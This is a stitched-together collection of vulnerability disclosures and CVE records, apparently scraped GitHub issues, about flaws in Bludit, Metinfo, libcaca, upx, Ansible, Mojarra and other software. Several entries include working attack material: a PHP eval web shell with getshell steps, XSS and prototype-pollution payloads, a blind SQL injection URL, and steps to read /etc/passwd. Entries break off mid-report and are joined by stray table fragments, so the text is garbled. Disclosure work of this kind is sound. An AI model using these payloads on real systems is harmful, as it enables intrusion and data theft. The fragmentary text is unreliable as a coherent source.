# Expected behavior
Notes Exported to PDF Format Is Existing XSS Attacks.
When there is a code in the note:
\``` JavaScript
% 3Cscript%3Ealert('XSS')%3C/script%3E
\```
XSS attacks are triggered when the export PDF function is reused.
# Steps to reproduce
#### 1. Put the payload below into your notes.
- Payload:
\``` JavaScript
% 3Cscript%3Ealert('XSS')%3C/script%3E
\```
I cut a picture:
#### 2. Click on the "Info" button in the upper right corner of the note to export the file in PDF format. This will trigger payload to generate a bullet window, that is, there is an XSS attack.

CVE-2021-32630 | 2021-05-20T17:15:07.773 | Admidio is a free, open source user management system for websites of organizations and groups. In Admidio before version 4.0.4, there is an authenticated RCE via .phar file upload. A php web shell can be uploaded via the Documents & Files upload feature. Someone with upload permissions could rename the php shell with a .phar extension, visit the file, triggering the payload for a reverse/bind shell. This can be mitigated by excluding a .phar file extension to be uploaded (like you did with .php .phtml .php5 etc). The vulnerability is patched in version 4.0.4. | {

A file upload vulnerability was discovered in Bludit V3.12.0
Hackers need administrator rights.
Hacker can use a backup file to control the server.
### Steps to reproduce the problem
1. Download the latest version of bludit from GitHub.
2. Using burpsuite when uploading logo in the background.
Change picture content to PHP code
`<?php eval($_POST[cmd]); ?>`
3. Enable backup plugin.Generate and download a backup file, modify the extension of logo file directly in the zip file.
If you unzip the backup to modify it, the upload will be blocked by WAF.
4. Access _http://127.0.0.1/bl-content/uploads/BLUDIT.php_ to get the getshell
Vulnerability in /bl-plugins/backup/plugin.php
```
public function uploadBackup($backup)
{
global $L;
// Check File Type
if ($backup["type"] !== "application/zip" && $backup["type"] !== "application/x-zip-compressed") {
return $this->response(415, $L->get("The passed file is not a valid ZIP Archive."));
}
// Check File Extension
if (stripos($backup["name"], ".zip") !== (strlen($backup["name"]) - 4)) {
return $this->response(415, $L->get("The passed file does not end with .zip."));
}
// Check ZIP extension
if(!$this->zip) {
return $this->response(400, $L->get("The passed file could not be validated."));
}
// Validate ZIP File
$zip = new ZipArchive();
$zip->open($backup["tmp_name"]);
if($zip->addEmptyDir("databases") || $zip->addEmptyDir("pages") || $zip->addEmptyDir("uploads")) {
$zip->close();
return $this->response(415, $L->get("The passed file is not a valid backup archive."));
}
$zip->close();
// File Name
$name = $backup["name"];
$count = 0;
while (file_exists($this->workspace() . $name)) {
$name = substr($backup["name"], 0, -4) . "." . ++$count . ".zip";
}
// Move File to Backup Directory
Filesystem::mv($backup["tmp_name"], $this->workspace() . $name);
return $this->response(200, $L->get("The backup file could be uploaded successfully."));
}
}
```
We can check the image content uploaded by users.
Or just delete the backup module

Arbitrary file deletion vulnerability was found in v2.7.5.Hackers need administrator rights and they can use any absolute directory to delete any file in the server.
**Steps to reproduce the problem**
Using GitHub source code to build the local environment.
PHP7.3 Apache2.4 Windows10
Enter the backup page.Create a backup and delete it. At the same time, use burpsuite to capture the package.
Enter the absolute path of the file you want to delete here.
The relative path is OK
The file has been deleted.
I think there's something wrong with the code here.
\system\admin\views\backup-start.html.php
```
<?php
if (login()) {
if (isset($_GET['file'])) {
$file = _h($_GET['file']);
if (!empty($file)) {
unlink($file);
}
}
}
?>
```
It does not control the path entered by the user, nor does it detect whether the file belongs to backup

0x01 Vulnerability (/user/ztconfig.php line 29 ~ 50)
When we start 'modify' logic we can see 'daohang' var receive $_POST['daohang'][$i] value
If we give string value for $_POST['daohang'] not Array $_POST['daohang'][0] daohang var will
receive $i's index string not Array. So If we give '\\' value for $_POST['daohang'] 'daohang' var
will get '\\' value
We can find '\\' value in update query it means ' value after 'daohang' parameter does not mean
any more.
After 'daohang' paramter 'bannerbg' will appear and if we check about 'bannerbg' parameter
we can't find any other security filter. So we can inject any query via 'bannerbg' parameter

] | Vulnerability Name: Metinfo CMS ini file modify vulnerability
Product Homepage: https://www.metinfo.cn/
Software link: https://u.mituo.cn/api/metinfo/download/7.0.0beta
Version: V7.0.0 beta
(This vulnerability only occur in Window OS)
In /language/admin/language_general.class.php doExportPack Method
In this method We can find `editor` and `site` parameter makes `filename` value and use it for
`delfile` method's argument
Let's take a look at app/system/include/function/file.func.php source code
When we check `delfile` method we use `filename` argument for `file_exists` function and if
return value is true unlink `filename` argument file will be unlink
Before we analyze more about this point.
Let's take a look at about `file_exists` function's difference between in `Linux` and `Windows`
In `Linux` (first picture) if there is no real dirctory which name is `asdf` function do not return true
value unliness there is `../` value. But In Windows `file_exists` funciotn return true value if there is
fake directory which name is `asd` (second picture).
We will use this point for vulnerability.
Okay after `unlink` file doExportPack method call `doget_admin_pack` method
Let's take a look at `doget_admin_pack` method
In Source Code If `site` parameter value is 'admin' or 'web' we use `appno` parameter value for SQL
query. And there is any single quarter for `appno` parameter.
So we can execute `Union Sql Injection`
Furthermore We use return of Sql query for new ini file's content
Cause we have Union SQL injection vulnerabilty We can modify ini file's content
So attack scenario is below
1. give `site` parameter value for 'admin' or 'web' and give `editor` parameter for
'../../../---/{ini-filename}
2. give `appno` parameter for SQLI POC which include ini file content
In `Linux` if there is no `language_admin_` directory this vulnerability will not occur
But `Windows` doesn't need `language_admin_` directory this vulnerabilty will execute 100%
(Of course in `Lniux` has `language_admin_` or any other directory name which can make by
`site` and `editor` parameter this vulnerability will execute)
POC :

] | Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba
Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library
```shell
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
```
or
```shell
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
```
3.Create the poc_tga.cc && build
```c++
#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
```
4.compile poc_tga.cc
```shell
clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_tga
```
5.Run poc_tga

] | Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment
System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1
libcaca version e4968ba6e93e9fd35429eb16895c785c51072015
Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library
```shell
$ cd libcaca
$ ./bootstrap
$ ./configure
$ make
```
or
```shell
$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb"
$ make
```
3.Create the poc_troff.cc && build
```c++
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",&len);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] = {0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
```
4.compile poc_troff.cc
```shell
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_troff
```
5.Run poc_troff
asan info:

Null pointer dereference was discovered in upx in the latest commit of the devel branch. [2638bee]
During the pointer 'p' points to 0x0 in func get_ne32(). The issue can be triggered by different places, which can cause a denial of service.

## What should have happened?
Decompress a crafted/suspicious file.
## Do you have an idea for a solution?
This bug is coursed by `upx_memcpy_inline(&v, p, sizeof(v));` , the pointer isn't sanitized. Strengthen the sanitize of all pointer used in upx_memcpy_inline may helpful reduce the .
## How can we reproduce the issue?
<!--- Provide unambiguous set of steps to reproduce this bug. Include code to reproduce, if relevant -->
1. compile upx with address-sanitize
2. execute cmd

] | `ReadRequest` and `ReadResponse` in net/http can hit an unrecoverable panic when reading a very large header (over 7MB on 64-bit architectures, or over 4MB on 32-bit ones). `Transport` and `Client` are vulnerable and the program can be made to crash by a malicious server. `Server` is not vulnerable by default, but can be if the default max header of 1MB is overridden by setting `Server.MaxHeaderBytes` to a higher value, in which case the program can be made to crash by a malicious client.
This also affects golang.org/x/net/http2/h2c and `HeaderValuesContainsToken` in golang.org/x/net/http/httpguts, and is fixed in golang.org/x/net@v0.0.0-20210428140749-89ef3d95e781.
This is CVE-2021-31525.
According to the new security policy (#44918), this will be fixed as a PUBLIC track issue.

] | **Description**
The no resource endpoint HTML page which is rendered on 404 errors introduces XSS vulnerability. Given as an example a GET endpoint which accepts a paging parameter in the form "start,offset" (i.e. 0,10). A request like:
`/users?paging=0%2c-1sp137%3Cscript%3Ealert(1)%3C%2fscript%3Emzx4u`
would lead to the following exception, and the 404 page in turn would execute the script (alert in our case).
`RESTEASY003870: Unable to extract parameter from http request: javax.ws.rs.QueryParam("paging") value is '0,-1sp137<script>alert(1)</script>mzx4u'`
**Implementation ideas**
Enable the 404 HTML page only in DEV mode. | XSS vulnerability in NotFoundExceptionMapper | https://api.github.com/repos/quarkusio/quarkus/issues/7248/comments | 10 | 2020-02-18T08:07:18Z | 2020-03-26T23:32:09Z | https://github.com/quarkusio/quarkus/issues/7248 | 566,716,690 | 7,248 | 2,002 |
CVE-2020-10729 | 2021-05-27T19:15:07.880 | A flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6. | {

] | ##### ISSUE TYPE
- Bug Report
##### COMPONENT NAME
lookups
##### ANSIBLE VERSION
```
2.3.0.0, 2.4.1.0
```
##### CONFIGURATION
no custom config
##### OS / ENVIRONMENT
Linux
##### SUMMARY
two consecutive facts from password lookup with same length get identical values.
separate tasks or different length result in different values, as expected.
##### STEPS TO REPRODUCE
```yaml
- name: Set random passwords for clusters
set_fact:
password1: "{{ lookup('password', '/dev/null length=20') }}"
password2: "{{ lookup('password', '/dev/null length=20') }}"
delegate_to: localhost
delegate_facts: True
- debug:
msg: "{{hostvars['localhost'].password1}} {{hostvars['localhost'].password2}}"
```
##### EXPECTED RESULTS
two different values
##### ACTUAL RESULTS
two identical values
changing length for one of these, or using separate tasks, gives different values.
http://docs.ansible.com/ansible/latest/playbooks_lookups.html#the-password-lookup says "A special case is using /dev/null as a path. The password lookup will generate a new random password each time", thus the current behaviour is at least confusing and unexpected.
from irc :
````
<larsks> Richlv: Whatever is happening seems to be happening at a higher level than the password lookup plugin: as far as I can tell, it's only ever getting called once.

CVE-2021-33564 | 2021-05-29T14:15:08.510 | An argument injection vulnerability in the Dragonfly gem before 1.4.0 for Ruby allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility. | {

I'm using uuid.Must(uuid.NewV4()).String() to generate random identifiers. I'm generating theses identifiers at a _very_ low rate of a few dozen per days
Here are some non-random UUID that I got in the last weeks:
```

I think I shouldn't have theses.

] | github.com | [
"eclipse-ee4j",
"mojarra"
] | There are a couple places that allow manipulating resource requests to disclose arbitrary files under application context. These are tested with Mojarra 2.3.9 and works under default configuration.
1. Resource contracts
[WebappResourceHelper.findPathConsideringContracts()](https://github.com/eclipse-ee4j/mojarra/blob/master/impl/src/main/java/com/sun/faces/application/resource/WebappResourceHelper.java#L315-L321). Under a branch condition, contract name is fetched from an http parameter and doesn't go through any filtering. The resource base path is later concatenated from it and can be abused to return unwanted resource like '/contracts/../WEB-INF/web.xml'. Another place that has the same vulnerable code is [ClasspathResourceHelper.findPathConsideringContracts()](https://github.com/eclipse-ee4j/mojarra/blob/master/impl/src/main/java/com/sun/faces/application/resource/ClasspathResourceHelper.java#L337).
2. Locale prefix
The patch for https://github.com/javaserverfaces/mojarra/issues/4364 is incomplete. localePrefix after the [check](https://github.com/eclipse-ee4j/mojarra/blob/master/impl/src/main/java/com/sun/faces/application/resource/ResourceManager.java#L568-L570) still contains tainted data and if the application doesn't declare 'javax.faces.resource.localePrefix' in a resource bundle, the application still continues to return that tainted input.

Add our url with the attack code
Then click collect
Because two methods are written in the source code
If you have curl extensions, use curl_ Close function. If not, use file_ get_ Contents function
And when processing the URL, only the first four characters of the URL are obtained by using the substr function, and whether it is HTTP is judged. If it is, it is checked
Here, you can use the features of PHP. When PHP encounters an unknown protocol, it will throw a warning and set the protocol to null. When the Protoco is null or file, the local operation will be carried out. By default, the local file operation will be performed if the protocol is not transferred or the protocol does not exist.
Therefore, we can use a custom protocol, such as httpxxx, which can start from HTTP, but can't be HTTPS.
We can try to read the /etc/passwd file
Then click collect
The file was read successfully

After logging in the background ,We know that if we need to add an app, we need a key:
So before testing, I need to create a new table in the database and add data .
The table name is "app"_ cms_list" , It then contains two pieces of data, as shown in the figure.
Next, we can visit this link to perform blind SQL injection in the "now":("dawn" is the original "admin", but the system needs us to change the background name)
http://www.dmsj.com:8081/dawn/download_frame.php?m=list&s=1&end=10&now=1+and+1=1%23
Pay attention to the use of "+" instead of "space", and unsuccessful words will lead to 302. At the same time, remember to log in to the background.
Little surprise, we also found that its cookie did not change before and after login, but it was in the header, interesting.
Next, we analyze the code :
dawn\download_frame.php
We can control them completely,Then go to "get_ List":
Our "$now" was handed over to "$params['where']"
core\common.class.php
In any case, our $where is not filtered and goes directly into the SQL statement :
We follow the "query":

In versions v4.3.1 and below of InvoiceNinja, there is an unsafe call to unserialize() in `app/Ninja/Repositories/AccountRepository.php` which may allow an attacker to deserialize arbitrary PHP classes. In certain contexts this can result in remote code execution.
The argument to unserialize is the output from a HTTP call to `http://www.geoplugin.net/php.gp` . This is without encryption. Attack vectors are then:
1. Malicious deserialized object from geoplugin.net
2. MITM attack between the invoiceninja service and geoplugin.net
**Expected behavior**
Use JSON instead of native PHP objects for untrusted input.
**Additional context**
The responsible code is now commented out since [25feebd6c2b02687d06832442ce6ce27971849c3](https://github.com/invoiceninja/invoiceninja/commit/25feebd6c2b02687d06832442ce6ce27971849c3), however there is a note about triaging GDPR implications before reintroduction of the code block, so this may be introduced in future versions.

code:
case 'login':
if (!empty($zbp->user->ID) && GetVars('redirect', 'GET')) {
Redirect(GetVars('redirect', 'GET'));
}
if ($zbp->CheckRights('admin')) {
Redirect('cmd.php?act=admin');

setcookie("redirect", GetVars('redirect', 'GET'), 0, $zbp->cookiespath);
}
Redirect('login.php');
break;
First: You need login in,then the vulnerability can run.So we use vulnerability for phishing attacks.
Parameter Name : redirect
Parameter Type : GET

CVE-2021-32670 | 2021-06-07T22:15:07.650 | Datasette is an open source multi-tool for exploring and publishing data. The `?_trace=1` debugging feature in Datasette does not correctly escape generated HTML, resulting in a [reflected cross-site scripting](https://owasp.org/www-community/attacks/xss/#reflected-xss-attacks) vulnerability. This vulnerability is particularly relevant if your Datasette installation includes authenticated features using plugins such as [datasette-auth-passwords](https://datasette.io/plugins/datasette-auth-passwords) as an attacker could use the vulnerability to access protected data. Datasette 0.57 and 0.56.1 both include patches for this issue. If you run Datasette behind a proxy you can workaround this issue by rejecting any incoming requests with `?_trace=` or `&_trace=` in their query string parameters. | {

```c
static void cli_feat_read_cb(struct gatt_db_attribute *attrib,
unsigned int id, uint16_t offset,
uint8_t opcode, struct bt_att *att,
void *user_data)
{
...
size_t len = 0;
...
len = sizeof(state->cli_feat) - offset;
value = len ? &state->cli_feat[offset] : NULL;
```
Both `len` and `sizeof()` are unsigned and `offset` is an external input without validation. It seems like a malicious GATT client can cause out-of-bound read on memory locations after the given device_state::cli_feat pointer.
Similar validation like below should be sufficient:

This issue exists for record keeping and disclosure purposes.
# Bug Report
## System Information
- Windows, Linux
- 10/06/2021 B2
- Development
## I confirm:
- [x] that I have searched for an existing bug report for this issue.
- [x] that I am using the latest available version of AMP.
- [x] that my operating system is up-to-date.
## Symptoms
The 'Java Version' setting within AMP doesn't validate its setting in the way you'd expect for a potentially sensitive setting. AMP could be tricked by a malicious user (albeit one who already has a high level of access to the system) into running code that it shouldn't.
## Reproduction
Alter the path to Java by using the Inspect Element tool in a browser for a given setting.
## Notes
Because of the authentication and permissions requirements (users with this combination would reasonably be expected to have a high level of access to the host) this is regarded as a low risk, but potentially high impact issue. Instances running inside Docker aren't affected in the same way since they would not affect the host system.
The issue was reported on 10/06/2021 and a fix was released the same day. | Security: Insufficient validation on Java Version setting. | https://api.github.com/repos/CubeCoders/AMP/issues/464/comments | 2 | 2021-06-10T09:46:57Z | 2021-07-26T12:02:26Z | https://github.com/CubeCoders/AMP/issues/464 | 917,143,156 | 464 | 2,026 |

yesterday and today OpenDMARC has crashed for segfault half a dozen times on two virtual machines, one of them CentOS7, another CentOS8, both up-to-date and have OpenDKIM version 1.4.1. Before yesterday OpenDMARC and libopendmarc version 1.3.2 was installed and they worked fine.
Last dmesg info was
`[Tue Jun 8 11:19:32 2021] opendmarc[11107]: segfault at 0 ip 00007fa89690c327 sp 00007fa88ffdb1a8 error 4 in libc-2.17.so[7fa8967c5000+1c4000]`
Red Hat Abrtd service was running, there is coredump and other files saved by it. Is there some additional information you would need to investigate the issue?

] | Hi, there.
I find there is use after free issue in multithread processing in stream.c in the newest master branch 597be1f.
The reason is that the buffer is unchecked during a multithread stream read.
Here is the detailed explanation:
<img width="1160" alt="image" src="https://user-images.githubusercontent.com/7632714/92203219-3725c400-eeb3-11ea-8520-ccce9b80d410.png">

The high-level reason is similar to issue #164, but the program behavior/path is different.
To reproduce, run
~~~~
lrzip -t uaf-stream546.lrz
~~~~
**Since it is a problem in the multithread program, you might need to run this command multiple times to trigger.**

**Qubes OS version**
<!--(The version of Qubes OS you're using (e.g., `R4.0`), available via the command `cat /etc/qubes-release` in a dom0 terminal.)-->
4.0.4
**Affected component(s) or functionality**
<!--(The component or functionality of Qubes OS that is not working as expected.)-->
Screensaver, locking with Ctrl-Alt-L
**Brief summary**
<!--(A clear and concise summary of the bug.)-->
Nothing happens when trying to lock the screen. No logs. Screensaver IS set to autostart already. And it works for some time. But after some time, (not sure about the exact cause), inactivity timer does not lock the screen, nor the screen lock shortcut works. When I open the Xfce Screensaver panel, it complains about the screensaver daemon being not running. Even after starting the daemon, same thing happens after some time.
As there is no log at all, I cannot trace the cause.
**How Reproducible**
<!--(At what rate does the bug occur when the steps to reproduce are performed?)-->
This started a few days ago, probably after applying a UEFI firmware update. The bug is always present since then, I guess.
**To Reproduce**
Steps to reproduce the behavior:
1. boot the system
2. log in. do some work.
3. the computer won't lock when you expect it to lock its screen
**Expected behavior**
<!--(A clear and concise description of what you expected to happen.)-->
The lock should work.
**Actual behavior**
<!--(What actually happened instead of what you expected to happen.)-->
Lock is disabled
**Screenshots**
<!--(If applicable, add screenshots to help explain your problem.)-->
**Additional context**
<!--(Add any other context about the problem here.)-->
It might be considered a security issue as well, I did not notice that the screen was not locked but had the impression that it was.
**Solutions you've tried**
<!--(If applicable, any solutions or workarounds you've already tried.)-->
starting the xscreensaver using the respective xfce settings panel
**Relevant [documentation](https://www.qubes-os.org/doc/) you've consulted**
<!--(A list of links to the Qubes documentation (or other relevant software documentation) pages you have already consulted.)-->
Found some basic info that suggests to restart the screensaver, to put it into autostart (which already appears in session and startup panel as a ticked item)
**Related, [non-duplicate](https://www.qubes-os.org/doc/reporting-bugs/#new-issues-should-not-be-duplicates-of-existing-issues) issues**

# Vulnerability Description:
Prototype Pollution is a vulnerability affecting JavaScript, Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects.
# Proof of Concept:
```javascript
var mixer = require('supermixer');
var payload = '{"__proto__":{"poc":"evil"}}';
var test = {};
console.log("Before: ", test.poc);
mixer.merge({},JSON.parse(payload));
console.log("After: ", test.poc);
```
